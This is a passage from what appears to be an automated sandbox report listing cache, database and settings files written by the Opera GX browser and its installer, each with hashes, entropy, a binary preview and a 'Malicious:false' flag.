                                                                                                                                                                                                              SHA-512:A423307DA032B15370E1AF8E3DFCADB95E183BE0A12FF7CE475EE4522DD880BEB2AE7DA222870F34F92AD0C7D2A35A124A52399DC41685392609B2583FACD251
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..........;.La...._keychrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/message_handlers/assistance_message_handler.js .chrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/.A..Eo..........................@...........<k.-......].q......&.[9.<O.)N.0....t./.........DM......zf...:..+k-.....S..2...+.y..X.]0.A..Eo........H.L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\cad8c8308e37327d_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):305
                                                                                                                                                                                                              Entropy (8bit):5.518170475463157
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:13F866A44CABE99794579CDD1406C136
                                                                                                                                                                                                              SHA1:56E5E143E5D2CA3FAA18B38A127C0B326D527C90
                                                                                                                                                                                                              SHA-256:3966FD295DCA3E6F39A9E3027DA9E60E00412BAAA9A7962DCC0A9CB47AC6275E
                                                                                                                                                                                                              SHA-512:1B10BB1556C6F9CC03EE621A5009CBD3C25388BA911054291ECD108CC2DE9A205EA471F825496E2D7834164DA017DFA8F11710A0E0E3D5E5821AF2C47B6F49CD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......}...X.X....._keychrome-extension://ebongfbmlegepmkkdjlnlmdcmckedlal/base64js.min.js .chrome-extension://ebongfbmlegepmkkdjlnlmdcmckedlal/.A..Eo..........................@...............T..v....6...~.']b.G#X...]Cv.....t./..........K........;......X.@.....(x..i)A.&.~n.A..Eo........I/L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\d72f2562c3f3b91d_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):28064
                                                                                                                                                                                                              Entropy (8bit):5.7993905074213234
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1BE1FDCA6180C3C3517CDFF79AAEBA08
                                                                                                                                                                                                              SHA1:EEE386FB33073010FDCB2846DFC7DB741E4D828E
                                                                                                                                                                                                              SHA-256:9247C00F37B7028E1A7022B0140377B9F72BC9EE4583DB3192E3CD8DC28B2527
                                                                                                                                                                                                              SHA-512:E978535D16F16F768B84E8BEF5E3DD656654320E56162B6D4B09455100886A55613813F0DFA373002B68CDB14148E8D40CEA21909F6198BEF2BBAF96524A5517
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......@..."..*....DEEBB935FA22ABED72BA6A6ED646F9DF5CC40EFB016409B2FF88D04708741948....s./.........<...z...5......na.l...........0T......`............a.......... .y.f0..........)...........1C.........t.q.a6...&....0T.....`..........a........`........ .`...........Rb.ek#....url...Rc6I.Z....label.....R....Rd..o.....textColor.....Rc........theme...{ .........../....`.........1.../...7........1.../...7........1.../...7........1.../...7........1.../...7.. .....`.....(Sd.qA...................RbB. .....re..`....D...Se.1......&......."j..\....8..Rb........se....Rb..1 ....ue....Rb........Oe....Rb........Pe....Rb........Re....Rb.v......Ve....Rb..^T....We....Rbf8.6....De....Rb.0.....fe....Rb...%....Ee....Rb........ye....Rb...6....ce....Rb6o<.....Ge....Rb".WV....Je....RbR..f....Ne....Rb.......qe....Rb.(X.....Fe....Rb.1.-....Ke..r............................................................................I`........`......L`.......... R..R.b....../index-DMZ02uhD.js.]`........ R.........../

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\ead2fae3022c2844_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):306
                                                                                                                                                                                                              Entropy (8bit):5.566095144800078
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E9EA278312D8220A282CCC249308A125
                                                                                                                                                                                                              SHA1:6C37F1057BFB51595EA9694F7EAD54B1D48E15DE
                                                                                                                                                                                                              SHA-256:3A8C64F1BD34473A6C438573FAE29E5572EC4672DB7F6E3695592EC3ECAB3313
                                                                                                                                                                                                              SHA-512:8E56E2FCC3A6C7368F4336737111E1951538FF722D020346D83B7A150D134AFAC50F9A1E35E61B261A8C901FE3453897645AF309FC6F9B60792FE78DA8C05D10
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......~....S......_keychrome-extension://pdcifnciicbfakdajkbbhphlabjminhg/utils/storage.js .chrome-extension://pdcifnciicbfakdajkbbhphlabjminhg/.A..Eo..........................@.................>6^`.W.....p"....HF..n.h....t./..........M......tR...Hf....._7.....WXT........n.A..Eo.......Xx.L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\ec9b8b2e10e0e6d1_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):326
                                                                                                                                                                                                              Entropy (8bit):5.511606239312288
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0B0097C48AF1E4C0FDA28F5B4854F1ED
                                                                                                                                                                                                              SHA1:6868EADE081596A76F8F968942C144E88F127BCE
                                                                                                                                                                                                              SHA-256:036E96C9C52694421FF3F2C690F5F6DAE91725E0B2F058D021F23B41DC9E7CFB
                                                                                                                                                                                                              SHA-512:0C0E6E188E1BEB26A3C811F8318DADE848EA761376862082E6E1B162D3DC1C34968DDEBED48E91FD87B317FC4020BFA934015E9906586871F05B1AA098993DE8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m.................._keychrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/background_color/background_color.js .chrome-extension://obhaigpnhcioanniiaepcgkdilopflbb/.A..Eo..........................@..............n..\7..d......UB.....F.t......t./.........JM......:^T..'.k.2R.M.-.*-G...[.........A..Eo......{.l)L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\ed30c63ad0121696_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):17592
                                                                                                                                                                                                              Entropy (8bit):5.661856367466092
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:EEFEE57E96C6CA09F1699AA0834F3505
                                                                                                                                                                                                              SHA1:38A81C0FC17D5848D478E9F773F3FD819ABFEDA1
                                                                                                                                                                                                              SHA-256:C6BA971F9FC09D71C588EC46FD8240B1FC8A3FEFABE090AA0C73290C929D487B
                                                                                                                                                                                                              SHA-512:E742D8E252CE3ABF4CEBA007867016E71AAC06A36A18A305C3BF1FB579AC68D9D60D2F337B463E194DBF2219F2683C7DFC8F3ADF664B96F92FF5471367339F00
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......@....y......C54B8A6B09A79BDCAECD6B12C1C1122C59D1A01D0CA88289874BE67FA5ACF123....s./.........<...z...>......na.C...........0T..y....`............a..........@.y.nl..........).........61C.............1-C......,......-C.............q.aR........0T`.........Ia.........,..i..............@......@......@......@......Rb.4Q.....ut.....Se.1......>.......4}..n.... ..Rb.TR.....ke....Rb........dt....Rb."#...._t....Rb.\.l....gt....Rb........Pe....Rb...$....be....Rb.......he....Rbv(......mt....Rb..&....kt....Rb. .S....bt....Rb.D.b....ve....Rb........Re....Rb..|h....we....Rb.+._....ht....Rb..*....vt....Rbvi......Rt....Rb........Se....Rb...^....wt....Rb........ye....Rb"......Ie....Rb..!....yt....Rb6.g.....It....Rb..w.....Tt....RbZ..^....Te....Rb.D@l....zt....Rb.^7.....pt....Rb.X......Ct....RbB8.6....Dt....Rbz0_!....Lt....Rb........Mt..~............................................................................................................................I`........`......L`.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f38c3e79d53301c9_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):257
                                                                                                                                                                                                              Entropy (8bit):5.781011520621095
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2081E2621F9F7012C6C02E844C2849CE
                                                                                                                                                                                                              SHA1:B4E2AE646E0424C5F58412A821B1F8B03AB635A9
                                                                                                                                                                                                              SHA-256:DDFCC4B7A55BF4D80875EEF70B909450C9A088030282286E862F3F290D08A632
                                                                                                                                                                                                              SHA-512:69A8F10406E11B8ADF8F2B02408BFB4E5EB86E62C07CC8834009F8B8454BC8B0BAD9B33AB18DF3219488CC2893E374E8EFD7236262E30DB859314BB3A03A16E6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......M....A....._keyhttps://gxcorner.games/assets/Stores-BfD6zzZ4.js .https://gxcorner.games/.A..Eo..................`..../.XO..4F34696E03BCB33936F73E26065C35EDFDBF4FABA9BE74EE71C6525283796E83..Bf8..>! f4i.#..w..G.rI.....(..A..Eo......U.g;L.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f5483e8983f75974_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6567
                                                                                                                                                                                                              Entropy (8bit):6.220896214766036
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7E1DD22DFE9B2E86063567A053755EC6
                                                                                                                                                                                                              SHA1:660B11D8A2EA4AC8AA649A65960083E3EBE5D97B
                                                                                                                                                                                                              SHA-256:2F44B427A830461962B5947FF11217E7FBC1E16B32EFD392312FCB2B3D2722E5
                                                                                                                                                                                                              SHA-512:AEBB00FF3187BC26EEF26E4A48D7D97290E29B919F19F36329D9665FAFD5DA7FA993B757542B15B602182AAD399815A61DE31022F318D427A42A8172E75F8F56
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......K.....n....._keyhttps://gxcorner.games/assets/news-DnkPxxHL.js .https://gxcorner.games/....s./.........<...z..........na.............0T..Y....`\...........a..........p.y.z........O.)........,............x.w..................................!............................................p.q.a4...l.....Le........................a.........0T.....`..........a..........4.kR.......4.4...P...H...(...0...`...d.H...............d .......n.............0.`......!..........!..!......R...-5....._sentryDebugIds..0Rj.U..$...98fef1c0-955f-4112-90d7-913d9e68415b.<RmJIt.0...sentry-dbid-98fef1c0-955f-4112-90d7-913d9e68415b.$R. &gw....._sentryDebugIdIdentifier..(.............."..Y....q....!...'"..Y....q....!...."..Y....q....!......!...l...../....$/.........5.../......7......5...............`.....(Sd.qA.........\.......I`....D...Se.1........................A.........................f............................I`........`......L`.......... R..V......../index-Cl97QX7T.js.]`R....... R..R.b......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f941cf55c497bbc9_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):13351
                                                                                                                                                                                                              Entropy (8bit):5.642424840304924
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:DF245946C24B5C9C56BCD7A3618FDD23
                                                                                                                                                                                                              SHA1:D9B92B22754AD28AC2FAC9F4CA25AA31D1A7F25B
                                                                                                                                                                                                              SHA-256:C4FD738FB849D9725962DE4C860A884F66FFF4A0B90083BC5A6B48D5729375B6
                                                                                                                                                                                                              SHA-512:26FDEA8DAEE4D8CF44EA07C9FE36004F4CD939C10834EBC0FC4BC7EB25FEAE1AFCCB31257DAF8AFF03AEA5BB6830D8127BDDE34EBC8E8DF5C047E60420B846EC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......K...w..y...._keyhttps://gxcorner.games/assets/News-DEklmy-S.js .https://gxcorner.games/....s./.........<...z..........na83...........0T.......`............a..........,.y.iB..........)..........1C..G-C..d-C............x.q.a8........0T`.........Iai........,..i..............@......@......@......@......Rb.a......pe...5.Se.1......$........9..j.... ..Rb.TR.....ke....Rb.D.b....ve....Rb..|h....we....Rb........ye........Rb"......Ie....Rb~.c.....Ce....Rbj.f.....Me....Rb.......qe....RbR..f....Ne............Rb........Se....A...Rbf8.6....De....Rb...%....Ee....Rb...8....ze..q........................................................................I`........`......L`.......... R..R.b....../index-DMZ02uhD.js.]`*....... R.........../App-Dh0jPV6c.js...]`........ R.........../news-DnkPxxHL.js..]`b....... R..V......../index-Cl97QX7T.js.]`........$R. RU......./strings-arc53U-2.js...]`>...]..L`......Rb..^T....We..`......L`.......]..L`h.... ...D......Rb*!r.....aU..c........b...f.... .D.......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\f965141592cb60ab_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):93472
                                                                                                                                                                                                              Entropy (8bit):5.7570932713397145
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F8156FC2AADF1396A9ABB57FA44A062A
                                                                                                                                                                                                              SHA1:8B40366679BDC40D7A5C250F15D2318E8FB0D777
                                                                                                                                                                                                              SHA-256:2DBD7BCC9FC88C2484B9C76D97F03E590F00E8DF28244FDB0EE5DCC6326F09C6
                                                                                                                                                                                                              SHA-512:B0DFA440430DD244DC1BE95054EADF97900BAB213E10A38C7EF9D60E5804A3162BBDE4108360CAF09EDB6F096F82DE17C00D3DDAB1FC89DF77ADCB3BEF35DC55
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......@......_....0735E1FE5AB585C78FF62939F82BA582BA8DE495523F89CB2465EDDDB97BADB7....s./.........<...z..._......naHl...........0T.......`............a..........D.y.ox..........)..........1C..............-C....-C..r.....-C..{-C...........q.az...p....0T..`..`n.........a........`........0.`.....8Sd.qA.............J...........a(.........Rb.\.l....gt..`....D...Se.1......d................(..Rbv(......mt....Rb."#...._t....Rb..^T....We....RbV.h.....je....Rbj.f.....Me....Rb........Se....Rb........dt....Rb.^7.....pt....Rb. .S....bt....Rb...8....ze....Rb........Pe....Rb.+._....ht....Rb..*....vt....Rb..EX....Le....Rb..&....kt....Rb"......Ie....Rb~.c.....Ce....Rb...C....$t....Rb...^....wt....Rb..w.....Tt....Rb..!....yt....Rb.m.!....St....Rb...'....Be....Rb.D@l....zt....Rbf8.6....De....Rb.......qe....Rb........Pt....Rbz0_!....Lt....Rb6.g.....It....Rb.X......Ct....RbZ.@.....Bt....RbB8.6....Dt....Rb.K......qt....Rb........Oe....Rb..i....Ot....RbV.......Vt....Rb.@......At....Rb.H.H....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):24
                                                                                                                                                                                                              Entropy (8bit):2.1431558784658327
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:54CB446F628B2EA4A5BCE5769910512E
                                                                                                                                                                                                              SHA1:C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
                                                                                                                                                                                                              SHA-256:FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
                                                                                                                                                                                                              SHA-512:8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\index-dir\temp-index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):48
                                                                                                                                                                                                              Entropy (8bit):2.955557653394731
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3DA5B4F8CC701CB958A7A45067CABEAD
                                                                                                                                                                                                              SHA1:E794A586F610D5DB0210D598821372BF258B67BC
                                                                                                                                                                                                              SHA-256:DE3DF8B75513F940317C887D87854A35B184B32D1F926393BFE3B7638B6F8094
                                                                                                                                                                                                              SHA-512:8DE39D282A05CDA893C6A3319F4B5BF6F06AFFB77F584D06E022C9BC1BADACA981760098F79D5B273B9CD5F0AA9624B340D48CE44F9EED204F3B5F0CFAFC90C4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:(...r..}oy retne............................/.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\js\index-dir\the-real-index (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):48
                                                                                                                                                                                                              Entropy (8bit):2.955557653394731
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3DA5B4F8CC701CB958A7A45067CABEAD
                                                                                                                                                                                                              SHA1:E794A586F610D5DB0210D598821372BF258B67BC
                                                                                                                                                                                                              SHA-256:DE3DF8B75513F940317C887D87854A35B184B32D1F926393BFE3B7638B6F8094
                                                                                                                                                                                                              SHA-512:8DE39D282A05CDA893C6A3319F4B5BF6F06AFFB77F584D06E022C9BC1BADACA981760098F79D5B273B9CD5F0AA9624B340D48CE44F9EED204F3B5F0CFAFC90C4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:(...r..}oy retne............................/.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\wasm\index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):24
                                                                                                                                                                                                              Entropy (8bit):2.1431558784658327
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:54CB446F628B2EA4A5BCE5769910512E
                                                                                                                                                                                                              SHA1:C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
                                                                                                                                                                                                              SHA-256:FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
                                                                                                                                                                                                              SHA-512:8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m..................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\wasm\index-dir\temp-index

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):48
                                                                                                                                                                                                              Entropy (8bit):2.955557653394731
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3DA5B4F8CC701CB958A7A45067CABEAD
                                                                                                                                                                                                              SHA1:E794A586F610D5DB0210D598821372BF258B67BC
                                                                                                                                                                                                              SHA-256:DE3DF8B75513F940317C887D87854A35B184B32D1F926393BFE3B7638B6F8094
                                                                                                                                                                                                              SHA-512:8DE39D282A05CDA893C6A3319F4B5BF6F06AFFB77F584D06E022C9BC1BADACA981760098F79D5B273B9CD5F0AA9624B340D48CE44F9EED204F3B5F0CFAFC90C4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:(...r..}oy retne............................/.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Code Cache\wasm\index-dir\the-real-index (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):48
                                                                                                                                                                                                              Entropy (8bit):2.955557653394731
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3DA5B4F8CC701CB958A7A45067CABEAD
                                                                                                                                                                                                              SHA1:E794A586F610D5DB0210D598821372BF258B67BC
                                                                                                                                                                                                              SHA-256:DE3DF8B75513F940317C887D87854A35B184B32D1F926393BFE3B7638B6F8094
                                                                                                                                                                                                              SHA-512:8DE39D282A05CDA893C6A3319F4B5BF6F06AFFB77F584D06E022C9BC1BADACA981760098F79D5B273B9CD5F0AA9624B340D48CE44F9EED204F3B5F0CFAFC90C4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:(...r..}oy retne............................/.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports\settings.dat

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):40
                                                                                                                                                                                                              Entropy (8bit):3.3041625260016576
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:477A0E093DCCC8B6C48254CDD29939AB
                                                                                                                                                                                                              SHA1:38DB46B1D4CF3635C37F8F789809190D945AC810
                                                                                                                                                                                                              SHA-256:3E240FF3DA23974FAE544F3420F956F379E837AFBC180CB128D5FC1FD8D5CDE9
                                                                                                                                                                                                              SHA-512:9088A872D83D7FAEB45621D54B5EF81AACDA4D636AE0E6FBAFBF6875A89F091864EC00EAAF5B36F4097B46C47BED8F2DCA9A26BDC7503094C8DA5E655CBC721F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:sdPC.....................3Jo..F...x.$.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\DIPS

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:SQLite 3.x database, last written using SQLite version 3045002, file counter 1, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):36864
                                                                                                                                                                                                              Entropy (8bit):0.4448682235958325
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:141F79B2652CA1B018278BEC2AB3CAA2
                                                                                                                                                                                                              SHA1:013872AEA23CA53C00EC1462270D9D0A219C69BC
                                                                                                                                                                                                              SHA-256:99FB4C4D1EA349969A7F93C0EC45833699ACEF82F420FDDED31AAA1D4B2EED06
                                                                                                                                                                                                              SHA-512:1385653E084CCD5D67DB042EABD3274CD267A57FD73B487C7D8437DAB1D8B51942FB78B8C020BBF55EBCD63DFC4BA6DD46F233981E58A756CAF684D6D2A357BF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:SQLite format 3......@ ..........................................................................v..........g.....:....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\DawnGraphiteCache\data_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.01057775872642915
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CF89D16BB9107C631DAABF0C0EE58EFB
                                                                                                                                                                                                              SHA1:3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
                                                                                                                                                                                                              SHA-256:D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
                                                                                                                                                                                                              SHA-512:8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\DawnGraphiteCache\data_1

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):270336
                                                                                                                                                                                                              Entropy (8bit):8.280239615765425E-4
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D0D388F3865D0523E451D6BA0BE34CC4
                                                                                                                                                                                                              SHA1:8571C6A52AACC2747C048E3419E5657B74612995
                                                                                                                                                                                                              SHA-256:902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
                                                                                                                                                                                                              SHA-512:376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\DawnGraphiteCache\data_2

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8192
                                                                                                                                                                                                              Entropy (8bit):0.011852361981932763
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0962291D6D367570BEE5454721C17E11
